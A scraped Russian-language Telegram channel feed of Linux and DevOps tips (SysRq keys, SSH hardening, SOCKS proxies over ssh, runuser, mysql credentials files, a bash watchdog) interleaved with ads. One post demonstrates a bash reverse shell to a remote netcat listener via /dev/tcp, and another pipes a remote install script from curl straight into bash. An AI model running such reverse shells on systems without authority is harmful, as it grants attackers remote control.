Новый бесплатный курс об информационной безопасности🔒
В Академии Selectel рассказываем, с помощью каких инструментов защищаться от киберугроз. Внутри курса — инструкции по настройке средств защиты, советы по их использованию и интересные задачи для проверки знаний.
В рамках курса вы:
🔹 проверите защищенность вашего сервиса,
🔹 узнаете о распространенных атаках полным перебором и о методах противодействия им,
🔹 ознакомитесь с ИБ-инструментами на реальных примерах.
Переходите в Академию Selectel (ссылка), чтобы начать изучение курса прямо сейчас ➡️ https://slc.tl/0cih1
Реклама АО «Селектел». ИНН: 7810962785
Erid: 2VtzqxWGe9f
В Академии Selectel рассказываем, с помощью каких инструментов защищаться от киберугроз. Внутри курса — инструкции по настройке средств защиты, советы по их использованию и интересные задачи для проверки знаний.
В рамках курса вы:
🔹 проверите защищенность вашего сервиса,
🔹 узнаете о распространенных атаках полным перебором и о методах противодействия им,
🔹 ознакомитесь с ИБ-инструментами на реальных примерах.
Переходите в Академию Selectel (ссылка), чтобы начать изучение курса прямо сейчас ➡️ https://slc.tl/0cih1
Реклама АО «Селектел». ИНН: 7810962785
Erid: 2VtzqxWGe9f
Нижний Новгород, встречаемся 24 июля на IT Talk by Sber!
Мы проведём технологический митап для всех IT-support специалистов и экспертов надёжности. Поговорим об инженерных процессах, улучшении качества IT-поддержки и автоматизации работы с помощью программных решений.
Спикеры и темы ⤵️
✔️ Дмитрий Цуканов, руководитель команды сопровождения SmartContact — «Отказ от Legacy-стандартов. Как мы строили свой SRE?»
✔️ Молчанов Василий, ведущий инженер по сопровождению, Баюсова Ирина, исполнительный директор — «ML OPS: как мы используем ML для улучшения систем мониторинга?»
✔️ Руслан Насимов, руководитель Центра управления сетью Сбера — «Как управлять сетью крупнейшей компании?»
✔️ Наталья Ерютова, корпоративный тренер Сбера — «Управление собой для IT-шников».
Адрес: co-working Garage, г. Нижний Новгород, Октябрьская, 35.
Регистрируйтесь и приходите 24 июля в 18:00! ⏰
Мы проведём технологический митап для всех IT-support специалистов и экспертов надёжности. Поговорим об инженерных процессах, улучшении качества IT-поддержки и автоматизации работы с помощью программных решений.
Спикеры и темы ⤵️
✔️ Дмитрий Цуканов, руководитель команды сопровождения SmartContact — «Отказ от Legacy-стандартов. Как мы строили свой SRE?»
✔️ Молчанов Василий, ведущий инженер по сопровождению, Баюсова Ирина, исполнительный директор — «ML OPS: как мы используем ML для улучшения систем мониторинга?»
✔️ Руслан Насимов, руководитель Центра управления сетью Сбера — «Как управлять сетью крупнейшей компании?»
✔️ Наталья Ерютова, корпоративный тренер Сбера — «Управление собой для IT-шников».
Адрес: co-working Garage, г. Нижний Новгород, Октябрьская, 35.
Регистрируйтесь и приходите 24 июля в 18:00! ⏰
Magic SysRq в Linux
Чо эт такое? Ооо брат, это комбинация клавиш которая позволяет выполнять низкоуровневые команды независимо от состояния системы.
✔ Тема достаточно полезная, прочитай, пригодится.
Ядро реагирует на такие команды моментально, независимо от того, что оно делает в данный момент. При условии, что само ядро не заблокировано.
ㅤ
Чтобы послать ядру Magic SysRq, нужно нажать
А где взять клавишу SysRq? На современных клавиатурах это клавиша PrintScreen.
А какой key нажимать в конце? Ну например:
+b - немедленная перезагрузка системы
+o - выключение системы
+s - синхронизация всех файловых систем
+u - перемонтирование файловых систем в read only
+r - возвращение управления с клавиатуры X-сервера к консоли
+k - завершение всех процессов на текущей консоли
В моем случае, чтобы послать эту комбинацию клавиш в Virtualbox, мне пришлось нажать —
После нажатия этой комбинации, в терминале выводится справка по доступным командам SysRq.
После вывода справки, смотрим логи ядра:
и видим, что ядро триггернулось и записало в журнал:
Грубо говоря, если система встала раком и не отвечает, можешь ребутнуть её магическими клавишами:
Ну либо поиграться с read only на проде.
В официальной доке, этот функционал шикарно расписан, прям рекомендую почитать, хоть и с переводчиком.
Изучай...
tags: #linux
—
🔔
Чо эт такое? Ооо брат, это комбинация клавиш которая позволяет выполнять низкоуровневые команды независимо от состояния системы.
✔ Тема достаточно полезная, прочитай, пригодится.
Ядро реагирует на такие команды моментально, независимо от того, что оно делает в данный момент. При условии, что само ядро не заблокировано.
ㅤ
Чтобы послать ядру Magic SysRq, нужно нажать
ALT+SysRq+key
.А где взять клавишу SysRq? На современных клавиатурах это клавиша PrintScreen.
А какой key нажимать в конце? Ну например:
+b - немедленная перезагрузка системы
+o - выключение системы
+s - синхронизация всех файловых систем
+u - перемонтирование файловых систем в read only
+r - возвращение управления с клавиатуры X-сервера к консоли
+k - завершение всех процессов на текущей консоли
В моем случае, чтобы послать эту комбинацию клавиш в Virtualbox, мне пришлось нажать —
Правый ALT+PrintScreen+h
.После нажатия этой комбинации, в терминале выводится справка по доступным командам SysRq.
После вывода справки, смотрим логи ядра:
dmesg -tk | grep -m1 '^sysrq: HELP :'
и видим, что ядро триггернулось и записало в журнал:
sysrq: HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s) show-task-states(t) unmount(u) force-fb(v) show-blocked-tasks(w) dump-ftrace-buffer(z)
Грубо говоря, если система встала раком и не отвечает, можешь ребутнуть её магическими клавишами:
ALT+SysRq+b
.Ну либо поиграться с read only на проде.
В официальной доке, этот функционал шикарно расписан, прям рекомендую почитать, хоть и с переводчиком.
Изучай...
PS: А если у меня нет клавиши PrintScreen? Ну значит, не судьба!
tags: #linux
—
🔔
Хочешь войти в мир DevOps, но не знаешь с чего начать? 🚀
Приглашаем тебя на бесплатный курс по Git – идеальный старт для начинающих!
Git - это основной инструмент для DevOps и разработчиков, без которого невозможно представить современную работу.
🔸 Что ты получишь за 10 занятий и 2 недели?
🔧 Понимание базовых терминов: репозиторий, коммит, пулл-реквест, мердж-конфликт.
🔧 Навык внесения изменений в удаленный репозиторий.
🔧 Умение создавать пулл-реквесты и работать с ними.
🔧 Решение мердж-конфликтов.
🔧 Навык отката изменений.
🔧 Уверенность в работе с Git.
Этот курс поможет тебе уверенно шагнуть в мир DevOps и разработки! 🖥
📌 Узнать больше и записаться можно в канале DevOps фабрики.
Реклама. ООО Байкалтим, ИНН: 3851008933, erid: 2VtzqvWY7zi
Приглашаем тебя на бесплатный курс по Git – идеальный старт для начинающих!
Git - это основной инструмент для DevOps и разработчиков, без которого невозможно представить современную работу.
🔸 Что ты получишь за 10 занятий и 2 недели?
🔧 Понимание базовых терминов: репозиторий, коммит, пулл-реквест, мердж-конфликт.
🔧 Навык внесения изменений в удаленный репозиторий.
🔧 Умение создавать пулл-реквесты и работать с ними.
🔧 Решение мердж-конфликтов.
🔧 Навык отката изменений.
🔧 Уверенность в работе с Git.
Этот курс поможет тебе уверенно шагнуть в мир DevOps и разработки! 🖥
📌 Узнать больше и записаться можно в канале DevOps фабрики.
Реклама. ООО Байкалтим, ИНН: 3851008933, erid: 2VtzqvWY7zi
Ёпта! Работа над Linux Factory идет полным ходом, всем кто принес мне свой емейл в бота, все котики и записаны.
Кому я еще не ответил — отвечу, ничо не потерялось. Я тут в одну харю ща всё разгребаю и отбиваюсь от менеджеров тибанка с помощью их же разработки — автоответчика Олега.
В начале следующей неделе буду рассылать инвайты в закрытый канал, ну и инструкции чо каво делать.
✔️ Так, теперь по сегодняшней теме — Awk и пасхальное яйцо.
Если запустить:
Всё нахуй упадет с ошибкой —
nostalgia это не документированная опция, которая была добавлена в версии 2.11 beta и сопровождалось странным комментарием:
Чо за херня?
Ранние версии
ㅤ
Еще из интересного.
Эти команды аналогичны:
Странное конечно поведение учитывая содержимое этого поста.
Ну да ладно, хуй с ним. Чо только не придумают…
Хороших тебе предстоящих выходных и береги себя.
Ааа еще забыл, Tagd Tagd написал нам две пиздатых статьи, на днях выложу. Спасибо Tagd Tagd с меня бонусы!
tags: #linux #bash
—
🔔
Кому я еще не ответил — отвечу, ничо не потерялось. Я тут в одну харю ща всё разгребаю и отбиваюсь от менеджеров тибанка с помощью их же разработки — автоответчика Олега.
В начале следующей неделе буду рассылать инвайты в закрытый канал, ну и инструкции чо каво делать.
✔️ Так, теперь по сегодняшней теме — Awk и пасхальное яйцо.
Если запустить:
awk --nostalgia
Всё нахуй упадет с ошибкой —
awk: bailing out near line 1 Aborted
nostalgia это не документированная опция, которая была добавлена в версии 2.11 beta и сопровождалось странным комментарием:
undocumented feature, inspired by nostalgia, and a T-shirt
Чо за херня?
Ранние версии
awk
аварийно завершались при различных эксепшенах выводя подобную ошибку. Утилиту отладили, но осталась — ностальгия. Но кто знает, возможно это ключ к ответу на главный вопрос жизни.ㅤ
Еще из интересного.
Gawk
использует GNUтое расширение предоставляемое функциями разбора аргументов командной строки. При активации этого расширения доступен специальный синтаксис -W long_option.
awk -Wnos
awk -Wcopy
Эти команды аналогичны:
awk --nostalgia
awk --copyright
Странное конечно поведение учитывая содержимое этого поста.
Ну да ладно, хуй с ним. Чо только не придумают…
Хороших тебе предстоящих выходных и береги себя.
Кстати кто сегодня винду обновил и получил синьку, самое быстрое решение опубликовал Дима в полезняшках. Репостить не буду, кому надо сами сходите посмотрите.
Ааа еще забыл, Tagd Tagd написал нам две пиздатых статьи, на днях выложу. Спасибо Tagd Tagd с меня бонусы!
tags: #linux #bash
—
🔔
Мир DevOps состоит из непрерывного обучения и совершенствования навыков. Новичкам часто приходится тратить много времени на поиск качественных и полезных материалов. Чтобы помочь, коллеги из решили поделиться рекомендациями ⭐️
В подборку вошли материалы для углубления знаний и улучшения практических навыков в DevOps: книги, плейлисты, каналы и курсы. Переходите по ссылке, чтобы ознакомиться, а потом подписывайтесь на их канал. Там каждый день выходят топовые IT-материалы в удобном формате.
Реклама АО «Селектел». ИНН: 7810962785
Erid: 2VtzqwPKueJ
В подборку вошли материалы для углубления знаний и улучшения практических навыков в DevOps: книги, плейлисты, каналы и курсы. Переходите по ссылке, чтобы ознакомиться, а потом подписывайтесь на их канал. Там каждый день выходят топовые IT-материалы в удобном формате.
Реклама АО «Селектел». ИНН: 7810962785
Erid: 2VtzqwPKueJ
Такс, всем желающим вводные разослал, проверяйте.
А мы уже начали с ребятами потихоньку преисполняться.
Кто не успел вписаться в движ или проебал сообщение, проверь или напиши в бота , разрулим.
Напомню что с 1 сентября для новеньких, ценник внезапно в пару раз подрастет. Сейчас можно сказать это пилотный запуск и летние скидки.
Хорошей тебе рабочей недели 🫥
А мы уже начали с ребятами потихоньку преисполняться.
Кто не успел вписаться в движ или проебал сообщение, проверь или напиши в бота , разрулим.
Напомню что с 1 сентября для новеньких, ценник внезапно в пару раз подрастет. Сейчас можно сказать это пилотный запуск и летние скидки.
Хорошей тебе рабочей недели 🫥
Тадам! SSH часть вторая by Tagd Tagd.
Сначала покажется что ты это читал, но это не так, контекст другой.
Сегодня мы рассмотрим как запретить пользователям добавлять свои ключи.
Если пользователь подключит свой ключ - меняй пароль, не меняй - пофигу.
БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ.
Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями.
В одной правлю
ㅤ
Наличие физического доступа к консоли - приветствуется.
Вы уже знаете, как настроить ключи. Они прописаны и работают!!!
Допустим в файле
Там же есть опция
делаем так:
в файле
перезапускаем sshd:
Всё. Будут действовать только ключи из из папки
После успешного подключения по ключу:
Кстати, протестировать и посмотреть все опции
Это так, к сведению.
tags: #linux
—
🔔
Сначала покажется что ты это читал, но это не так, контекст другой.
Сегодня мы рассмотрим как запретить пользователям добавлять свои ключи.
Если пользователь подключит свой ключ - меняй пароль, не меняй - пофигу.
БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ.
Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями.
В одной правлю
sshd_config
, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd
с измененным конфигом текущие сессии сохраняются.ㅤ
Наличие физического доступа к консоли - приветствуется.
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.2
Вы уже знаете, как настроить ключи. Они прописаны и работают!!!
Допустим в файле
/etc/ssh/sshd_config
PubkeyAuthentication yes
# перед изменениями рекомендую включить парольную аутентификацию
PasswordAuthentication yes
PermitRootLogin prohibit-password
Там же есть опция
AuthorizedKeysFile
и обычно она закомментирована. Она указывает, где находится файл аuthorized_кeys
.делаем так:
sudo test -f /etc/ssh/authorized_keys && sudo mv /etc/ssh/authorized_keys /etc/ssh/authorized_keys.1
sudo mkdir /etc/ssh/authorized_keys
sudo cp "/home/${USER}/.ssh/authorized_keys" "/etc/ssh/authorized_keys/${USER}"
sudo chown -R root:root /etc/ssh/authorized_keys
sudo chmod -R u=rwX,go=rX /etc/ssh/authorized_keys
в файле
/etc/ssh/sshd_config
AuthorizedKeysFile /etc/ssh/authorized_keys/%u
перезапускаем sshd:
systemctl restart sshd
Всё. Будут действовать только ключи из из папки
/etc/ssh/authorized_keys
в файле с именем пользователя, и подключить их может только root.После успешного подключения по ключу:
PasswordAuthentication no
systemctl restart sshd
Кстати, протестировать и посмотреть все опции
sshd_config
можно командой sudo sshd -T
Это так, к сведению.
tags: #linux
—
🔔
100% кешбэк за Kubernetes и базы данных в Selectel
Разверните свой проект в Selectel и пользуйтесь PaaS-сервисами с кешбэком. Подключите отказоустойчивые и масштабируемые кластеры Managed Kubernetes и облачных баз данных, а мы вернем бонусами 100% от суммы за первые 30 дней использования сервисов.
Selectel — ведущий российский провайдер IT-инфраструктуры с облаком собственной разработки. Лидер среди провайдеров Kubernetes и облачных баз данных, по версии CNews.
Преимущества PaaS-сервисов в Selectel:
▪️ Отказоустойчивость. Гарантируем доступность и стабильную работу сервисов за счет отказоустойчивого кластера.
▪️ Масштабируемость. У нас всегда есть ресурсы для масштабирования и роста ваших проектов.
▪️ Экосистема продуктов. 40+ сервисов для создания проектов любого масштаба и сложности.
▪️ Простое управление. Работайте с кластерами через панель, Terraform-провайдер или API.
Участвуйте в акции и верните 100% затрат на Kubernetes и базы данных. Подробные условия по ссылке: https://slc.tl/rl6wi
Рекла...
Разверните свой проект в Selectel и пользуйтесь PaaS-сервисами с кешбэком. Подключите отказоустойчивые и масштабируемые кластеры Managed Kubernetes и облачных баз данных, а мы вернем бонусами 100% от суммы за первые 30 дней использования сервисов.
Selectel — ведущий российский провайдер IT-инфраструктуры с облаком собственной разработки. Лидер среди провайдеров Kubernetes и облачных баз данных, по версии CNews.
Преимущества PaaS-сервисов в Selectel:
▪️ Отказоустойчивость. Гарантируем доступность и стабильную работу сервисов за счет отказоустойчивого кластера.
▪️ Масштабируемость. У нас всегда есть ресурсы для масштабирования и роста ваших проектов.
▪️ Экосистема продуктов. 40+ сервисов для создания проектов любого масштаба и сложности.
▪️ Простое управление. Работайте с кластерами через панель, Terraform-провайдер или API.
Участвуйте в акции и верните 100% затрат на Kubernetes и базы данных. Подробные условия по ссылке: https://slc.tl/rl6wi
Рекла...
This media is not supported in your browser
VIEW IN TELEGRAM
Привет, пока я летаю, рекомендую обратить внимание на эту софтину.
✔️ goManageDocker
Это инструмент для управления docker’ом через интерфейс командной строки.
Разработан он для ленивых жоп (как я), которые в рот ебали вводить длинные консольные команды для получения желаемого.
ㅤ
Ну дак вот GMD всю эту работу берет на себя, тыкай горячие кнопки и рули своими образами и контейнерами.
Прям мастхевная хуёвина для каких-то своих пет-прооектов. Для разработчиков прям пушка, поставил локально и не ебись с консолькой.
Ставится элементарно:
Репка тут: https://github.com/ajayd-san/gomanagedocker
tags: #utilites
—
🔔
✔️ goManageDocker
Это инструмент для управления docker’ом через интерфейс командной строки.
Разработан он для ленивых жоп (как я), которые в рот ебали вводить длинные консольные команды для получения желаемого.
ㅤ
Обычно после отпуска нахрен забываешь весь этот чудо docker синтаксис и приходится вновь лезть в интернет за мануалом — докер для чайников.
Ну дак вот GMD всю эту работу берет на себя, тыкай горячие кнопки и рули своими образами и контейнерами.
Прям мастхевная хуёвина для каких-то своих пет-прооектов. Для разработчиков прям пушка, поставил локально и не ебись с консолькой.
Ставится элементарно:
bash -c "$(curl -sLo- https://raw.githubusercontent.com/ajayd-san/gomanagedocker/main/install.sh)"
Репка тут: https://github.com/ajayd-san/gomanagedocker
tags: #utilites
—
🔔
Здрасти, я потихоньку прихожу в себя после всех этих поездок. К концу недели глядишь раскачаюсь и войду в привычный ритм. Ну а пока читаем пиздатые посты от Tagd Tagd 👇
Сегодня мы рассмотрим как ДЛЯ СЕБЯ запилить SOCKS VРN через ssh.
Допустим у вас есть виртуалка на зарубежном хостиге с ssh. (на pq 450р/мес.)
ㅤ
А вы человек добрый, почти как я, и решили поделиться счастьем с женой и детьми.
Но давать доступ к консоли страшно, вдруг что-нибудь сломают.
Вы уже знаете, как настроить ключи. И они прописаны и работают!!!
Есть несколько способов безболезненно раздать vрn на свою семью. В файле
Если иcпользуете группу — не забудьте добавить в нее пользователя:
При параметре
На клиенте:
После запуска и ввода фразы ключа программа ничего не выводит, а потом, при использовании начинают сыпаться какие-то ошибки, ну и ладно. Если прервать команду, соединения в браузере разорвутся.
В firefox:
Если ваш адрес
В настройках firefox нужно будет заменить
Продолжение следует...
tags: #linux
—
🔔
Сегодня мы рассмотрим как ДЛЯ СЕБЯ запилить SOCKS VРN через ssh.
Допустим у вас есть виртуалка на зарубежном хостиге с ssh. (на pq 450р/мес.)
ㅤ
А вы человек добрый, почти как я, и решили поделиться счастьем с женой и детьми.
Но давать доступ к консоли страшно, вдруг что-нибудь сломают.
БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ.
Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями. В одной правлю sshd_config, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd с измененным конфигом текущие сессии сохраняются.
Наличие физического доступа к консоли - приветствуется.
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.$(date +%Y%m%d-%H%M%S)
Вы уже знаете, как настроить ключи. И они прописаны и работают!!!
Есть несколько способов безболезненно раздать vрn на свою семью. В файле
/etc/ssh/sshd_config
Match User bashdays_tagd
# или Match Group proxy
MaxAuthTries 3
MaxSessions 0
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
#--
sudo service sshd restart
Если иcпользуете группу — не забудьте добавить в нее пользователя:
sudo usermod -aG proxy bashdays_tagd
При параметре
MaxSessions 0
будет запрещен доступ к shell и sftp. Но разрешен проброс портов.На клиенте:
ssh -N -D 5000 bashdays_tagd.host.name
После запуска и ввода фразы ключа программа ничего не выводит, а потом, при использовании начинают сыпаться какие-то ошибки, ну и ладно. Если прервать команду, соединения в браузере разорвутся.
В firefox:
Настройки -> Настройка сети -> Параметры соединения
Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000.
Галка — Отправлять DNS-запросы через прокси при использовании SOCKS 5
или:
ssh -N -D 192.168.1.57:5000 bashdays_tagd.host.name
Если ваш адрес
192.168.1.57
и вы, человек еще более добрый чем я, и решили поделиться VРN со всей своей локалкой (в которой сидит еще и тёща с тестем):В настройках firefox нужно будет заменить
127.0.0.1
на 192.168.1.57
Продолжение следует...
tags: #linux
—
🔔
Все мы прекрасно знаем, что для переключения пользователя есть
ㅤ
Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.
Пример:
Ну и важно посмотреть
В скриптах предпочтительнее использовать именно
Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.
А чем отличается
Такие дела, изучайте…
tags: #linux
—
🔔
su
и sudo
. Но не все знают про команду runuser
.ㅤ
Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.
Пример:
runuser -u roman -- id
Ну и важно посмотреть
help
, чтобы жонглировать ключами. Там тебе и проброс шелла, сохранение/очистка переменных, псевдотерминалы и т.п.В скриптах предпочтительнее использовать именно
runuser
чем везде пихать su
.Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.
А чем отличается
su
от sudo
(+ это двойное тире) я писал в этом посте.Такие дела, изучайте…
tags: #linux
—
🔔
Добрый день господа и дамы. Сейчас накидаю тебе интересную темку, которую частенько используют пентестеры в своей работе.
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
Просим инженера из мухосранска запустить у себя:
В ответ он получает строчку вида:
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
Не забываем у инженера узнать его IP, чтобы подставитьинженера его в команду.
Все эти хуйни с перенаправлением
А дальше… магия!
В мухосранске, там где запустили
У инженера сменится шелл с
Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
🔔
Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.
ㅤ
Многие знают Linux утилиту
nc
= netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит
netcat
.Просим инженера из мухосранска запустить у себя:
root:/ nc -lvnp 2288
В ответ он получает строчку вида:
Listening on 0.0.0.0 2288
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1
Не забываем у инженера узнать его IP, чтобы подставить
Все эти хуйни с перенаправлением
0<&1 2>&1
описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.А дальше… магия!
В мухосранске, там где запустили
nc -lvnp 2288
, произойдет такое:Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root:~#
У инженера сменится шелл с
root
на root
и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.
Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.
Давай, увидимся!
tags: #linux #networks #security
—
🔔
Сегодня мы рассмотрим второй способ, как запилить SOCKS через ssh.
Напишем свой крутой шелл с анимацией и ограничениями для пользователей.
ㅤ
Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.
Скрипт не дает пользователю ничего делать, но своей анимацией поддерживает соединение в рабочем состоянии. Если не нравится shell на скрипте - поищите в сети Sleep Dummy Shell он на си.
В файле
Опция ForceCommand, фактически, заменяет оболочку для ssh, если захотите заменить оболочку пользователя в глобально системе (не обязательно):
А на клиенте:
После запуска и ввода фразы ключа программа выводит анимацию. Если прервать команду, соединения в браузере не разорвутся, как в первом способе, а программа будет ожидать закрытия браузера!!!
В firefox Настройки -> Настройка сети -> Параметры соединения: Ручная настройка прокси.
+ галка Отправлять DNS-запросы через прокси при использовании SOCKS5.
или
Если ваш адрес
В настройка firefox нужно будет заменить
Продолжение следует... © by Tagd Tagd
tags: #linux #networks #bash
—
🔔
Напишем свой крутой шелл с анимацией и ограничениями для пользователей.
ㅤ
Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.
sudo vim /usr/local/bin/socksshell
#!/bin/bash
trap 'echo -e "\\nWaiting session end...";exit' SIGINT SIGTERM SIGHUP SIGQUIT
printf "VPN on. Press CTRL-C for BREAK "
while :;do
for i in '> ' '>>' ' <' '<<';do
printf "\b\b$i"
sleep 3
done
done
sudo chmod 755 /usr/local/bin/socksshell
Скрипт не дает пользователю ничего делать, но своей анимацией поддерживает соединение в рабочем состоянии. Если не нравится shell на скрипте - поищите в сети Sleep Dummy Shell он на си.
В файле
/etc/ssh/sshd_config
Match User bashdays_tagd
MaxAuthTries 3
MaxSessions 10
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
ForceCommand /usr/local/bin/socksshell
#--
Опция ForceCommand, фактически, заменяет оболочку для ssh, если захотите заменить оболочку пользователя в глобально системе (не обязательно):
sudo usermod -s /usr/local/bin/socksshell bashdays_tagd
sudo service sshd restart
А на клиенте:
ssh -D 5000 bashdays_tagd.host.name
После запуска и ввода фразы ключа программа выводит анимацию. Если прервать команду, соединения в браузере не разорвутся, как в первом способе, а программа будет ожидать закрытия браузера!!!
В firefox Настройки -> Настройка сети -> Параметры соединения: Ручная настройка прокси.
SOCKS5. 127.0.0.1 порт 5000.
+ галка Отправлять DNS-запросы через прокси при использовании SOCKS5.
или
ssh -D 192.168.1.57:5000 bashdays_tagd.host.name
Если ваш адрес
192.168.1.57
и вы человек еще более добрый чем я и решили поделиться вашем счастьем со всей своей локалкой.В настройка firefox нужно будет заменить
127.0.0.1
на 192.168.1.57
Продолжение следует... © by Tagd Tagd
tags: #linux #networks #bash
—
🔔
Здрасти здрасти хуймордасти, оказывается есть люди, которые не знают как залетать в mysql без пароля.
Попался вчера свежий Bash скрипт от персонажа комиксов, который явно указывает пароль от mysql. Заебись Bash скрипт с паролями от рутового мускла. Так делать не нужно.
ㅤ
А нужно всего лишь создать файл в домашнем каталоге пользователя и обозвать его
Содержимое файла
Этот файл содержит настройки по умолчанию для команд mysql.
Помимо этих переменных, в этот файл можно закинуть что-то еще, не знаю что еще я туда больше ничего не пихаю.
Либо передавать напрямую в mysql путь до файла с помощью ключа:
В этом случае имя и путь файла может быть любой. НО обязательно сделай этот файл доступным для чтения только тебе, чтобы пидарасы-криворукие не смогли подглядеть креденшелы.
Теперь если в командой строке просто ввести mysql, ты залетишь в mysql без юзера и пароля + сменится база данных.
А для винды есть mysql_config_editor, который поможет зашифровать пароль, ведь в винде нужные права на файл хуй поставишь.
Почитать: Параметры командной строки, влияющие на обработку.
Хороших предстоящих выходных!
tags: #linux #mysql
—
🔔
Попался вчера свежий Bash скрипт от персонажа комиксов, который явно указывает пароль от mysql. Заебись Bash скрипт с паролями от рутового мускла. Так делать не нужно.
ㅤ
А нужно всего лишь создать файл в домашнем каталоге пользователя и обозвать его
/home/user/.my.cnf.
Содержимое файла
.my.cnf
[client]
user=user
password=passwd
database=db
Этот файл содержит настройки по умолчанию для команд mysql.
Помимо этих переменных, в этот файл можно закинуть что-то еще, не знаю что еще я туда больше ничего не пихаю.
Либо передавать напрямую в mysql путь до файла с помощью ключа:
--defaults-file==filename
В этом случае имя и путь файла может быть любой. НО обязательно сделай этот файл доступным для чтения только тебе, чтобы пидарасы-криворукие не смогли подглядеть креденшелы.
Теперь если в командой строке просто ввести mysql, ты залетишь в mysql без юзера и пароля + сменится база данных.
Обычно этот хак используют на рутах, чтобы рут не ебался и залетал с первым же лучиком солнца.
А для винды есть mysql_config_editor, который поможет зашифровать пароль, ведь в винде нужные права на файл хуй поставишь.
Почитать: Параметры командной строки, влияющие на обработку.
Хороших предстоящих выходных!
tags: #linux #mysql
—
🔔
На пути к умноватому дому напишем простой ip watchdog на баш. Будем мониторить наличие интернета и перезапускать роутер, если он "завис". ㅤ
Адреса на ping не проверял. Проверяйте, добавляйте, изменяйте сами.
Таким образом, если все адреса отвечают - каждый из них пингуется раз в 15 минут (задержка * количество адресов). Если отвечает только 1 - пинговаться он будет ежеминутно. Не хорошо, но не критично.
Если проблем нет
Попытки будут предприниматься с нарастанием времени на 2,5,...300 циклах.
Прошу обратить внимание, что цикл чуть больше минуты, когда все хорошо, но когда ping не получает ответа - время ~ 2 сек. То есть время fail-цикла = задержка + (число адресов * 2сек) ~ 1мин 30 сек.
Ну, и теперь самое интересное.
На aliexpress ищем "usb relay". (одиночный < 200 рублей).
Качаем и ставим драйвера и пишем что-то вроде:
Подключаем релюху (контакты NO) в разрыв провода питания роутера - и автомат готов.
tags: #homework #DIY © by Tagd Tagd
—
🔔
#!/bin/bash
declare -i COUNTER=0
declare -r P=1m # задержка между пингами или циклами
function EXECUTE(){ echo $COUNTER Need execute ; }
while :;do
COUNTER+=1
for LNK in "ya.ru" "youtube.ru" "list.ru" "vk.com" "8.8.8.8" \
"2ns.info" "aliexpress.com" "yandex.ru" "77.88.8.8" "ozon.ru" \
"8.8.4.4" "gmail.com" "mail.ru" "ok.ru" "youtube.com";do
